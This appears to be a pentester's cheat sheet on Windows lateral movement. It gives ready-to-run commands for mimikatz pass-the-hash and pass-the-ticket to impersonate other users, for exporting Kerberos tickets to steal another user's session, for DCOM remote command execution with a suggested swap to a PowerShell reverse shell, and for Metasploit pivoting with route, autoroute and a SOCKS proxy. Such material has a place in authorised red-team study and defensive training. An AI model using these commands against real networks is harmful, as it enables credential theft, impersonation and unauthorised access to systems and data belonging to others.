Logon on another system with a NTLM hash

Sce­nario:

• You are admin on a Win­dows system
• You have anoth­er user’s NTLM hash

Then, use mimikatz to inject anoth­er user’s NTLM hash into the secret storage:

1. Inject the NTML hash for anoth­er user:
   sekurlsa::pth /user:peter /domain:dom.ain /ntlm:ed6686fedb60840cd49b5286a7c08fa4 /run:powershell
   After exe­cut­ing this com­mand, a Pow­er­Shell (or some­thing else…) is opened for the oth­er user.
2. Try to login some­where as the oth­er user:
   net use \\files
   This per­forms also a login to the file serv­er, where now peter is used.
3. See the tick­ets:
   klist

Steal another user’s session

Sce­nario:

• You have admin­is­tra­tive priv­i­leges for a Win­dows user A.
• Anoth­er user B has a cur­rent ses­sion on the same system.
• We want do do some­thing with B’s priv­i­leges, e.g. access a web share \\files\backup.

Then, with the use of mimikatz:

privilege::debug
sekurlsa::tickets /export

This exports avail­able tick­ets into the work­ing direc­to­ry (suf­fix .kirbi). Then, choose one file/ticket from the cor­rect user and ser­vice. For exam­ple: The file

[0;bce15]-0-0-40810000-peter@cifs-files04.kirbi

con­tains the TGS tick­et from the user peter for the CIFS (file share/smb) ser­vice on serv­er files04. In mimikatz, inject this TGS to the cur­rent (oth­er) user with

privilege::debug
kerberos::ptt $filename

Check then with klist that the oth­er users tick­ets war inject­ed. Then, you can access the resource e.g. with ls \\files\backup.

Logon on another system via DCOM

Note: See Cyberea­son for more techniques.

Sce­nario:

• You are on a shell of an user who is also a local admin.

In Pow­er­Shell, cre­ate a DCOM con­nec­tion and replace calc.exe with a Pow­er­Shell reverse code or some­thing else more useful:

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$target"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

Open a reverse shell han­dler before, obviously.

Pivoting to an internal network with Metasploit

Sce­nario:

• You are on sys­tem A and detect­ed anoth­er net­work 10.10.10.0/24 you could reach via A.

Man­u­al­ly:

1. Open a meter­preter ses­sion on the first target.
2. Back­ground the ses­sion with bg.
3. Set a route to the tar­get net­work via the sus­pend­ed ses­sion:
   route add 10.10.10.0/24 $sessionID
4. Now, you can use IPs from this net­work in Metas­ploit for oth­er modules. 
   • One exam­ple, port scan­ning:
     use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.42
set PORTS 80,443,1234
run

Auto­mat­ic: This mod­ule detects all net­work inter­faces on the tar­get and cre­ates routes for all subnets:

1. Open a meter­preter ses­sion on the first target.
2. Back­ground the ses­sion with bg.
3. Use the autoroute mod­ule:
   use multi/manage/autoroute
set session $sessionID
run
4. Now, check with route that all routes were added.

After­wards: Set up a SOCKS proxy so that oth­er soft­ware on the own sys­tem can inter­act with the inter­nal host (use prox­y­chains with this proxy):

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
run -j

Now, 127.0.0.1:1080 can be used.

Other links

• Main­tain shell access
• See the Reverse shell arti­cle, it con­tains var­i­ous (Pow­er­Shell) tech­niques which can also be used to spawn shells on oth­er systems.
• See Com­mand Exe­cu­tion on Windows